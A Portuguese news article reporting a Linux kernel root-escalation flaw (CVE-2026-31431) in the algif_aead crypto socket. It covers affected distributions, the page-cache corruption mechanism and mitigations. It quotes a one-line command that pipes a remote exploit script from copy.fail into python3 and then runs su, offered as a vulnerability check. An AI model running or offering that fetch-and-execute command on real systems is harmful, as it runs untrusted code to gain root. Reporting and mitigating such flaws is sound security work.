Falha no Linux permite acesso root imediato e afeta sistemas desde 2017

Pesquisadores da Xint Code descobriram uma vulnerabilidade grave no Linux que concede acesso root instantâneo a qualquer usuário local sem privilégios. Trata-se de um cenário catastrófico para servidores multiusuário de diversos tipos, incluindo servidores web, ambientes de contêineres como Kubernetes e pipelines de CI/CD.

E a vulnerabilidade CVE-2026-31431 afeta praticamente todas as distribuições Linux em uso atualmente e existe desde 2017.

Créditos: Wallpaper Cave

Mesmo não sendo uma vulnerabilidade de dia zero e o kernel já tenha recebido uma correção, o curto período de divulgação deu aos desenvolvedores de distribuições relativamente pouco tempo para reagir.

As variantes afetadas incluem Ubuntu 24, RHEL 10, SUSE 16 e Amazon Linux 2023. Até mesmo o WSL2 do Windows é afetado, e basta uma pequena quantidade de 732 bytes para explorá-lo.

Notícias Relacionadas:

Verificando e corrigindo

Créditos: Wallpaper Cave

Para verificar se um sistema é vulnerável, basta executar “curl https://copy.fail/exp | python3 && su” com uma conta padrão sem privilégios. Porém, é importante observar que isso é confiar em um script online.

E o código-fonte da prova de conceito está disponível aqui para os usuários que preferirem. Para os que não possuem uma correção disponível para a distribuição que usam, é possível tentar um dos dois métodos de mitigação.

Se o kernel carrega o algif_aaed como um módulo, um simples [ echo “install algif_aead /bin/false” > /etc/modprobe.d/disable-algif.conf ] será suficiente.

Algumas distribuições, no entanto, compilam essa funcionalidade diretamente no núcleo do kernel, incluindo RHEL e WSL2. E isso significa que, nesses casos, o usuário terá que recorrer a impedir que os usuários abram sockets AF_ALG usando perfis seccomp, AppArmor ou SELinux.

Risco urgente

Créditos: Wallpaper Flare

A equipe de segurança da Xint Code não forneceu uma justificativa para a divulgação pública da vulnerabilidade tão cedo. Eles apenas mencionaram que a encontraram com a ajuda de um assistente de Inteligência Artificial.

Ou seja, considerando que o código-fonte do kernel do Linux é público por definição, em teoria, qualquer atacante sério o encontraria com a mesma facilidade. E, talvez, a divulgação rápida tenha sido uma necessidade.

O mecanismo de exploração é engenhoso. AF_ALG é um socket que um aplicativo pode usar para criptografar ou descriptografar dados, fornecendo os dados a serem criptografados e uma tag. Para realizar o ataque, basta fornecer um trecho de um executável ao qual se tem acesso como tag; o mais óbvio sendo “su”.

A função do kernel “algif_aead”, crucialmente, possui uma otimização interna que não cria uma cópia dos dados a serem criptografados e copiados de volta. Em vez disso, ela encadeia os dados da tag diretamente no buffer de saída por referência, em vez de copiá-los.

Créditos: 4K Wallpapers.

Por coincidência, o algoritmo de criptografia “authencesn” envolve a escrita de 4 bytes em um deslocamento fixo no buffer de saída. Como a tag inserida, os dados da página para “su”, agora faz parte dessa saída, esses bytes serão gravados diretamente na cópia em cache do executável no kernel.

Ao executar o arquivo, ele será corrompido, concedendo acesso de administrador. Tudo isso acontece na memória, portanto não há gravações detectáveis em disco, e a vulnerabilidade também passará por muitos sistemas de segurança.

Fonte:

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Rolar para cima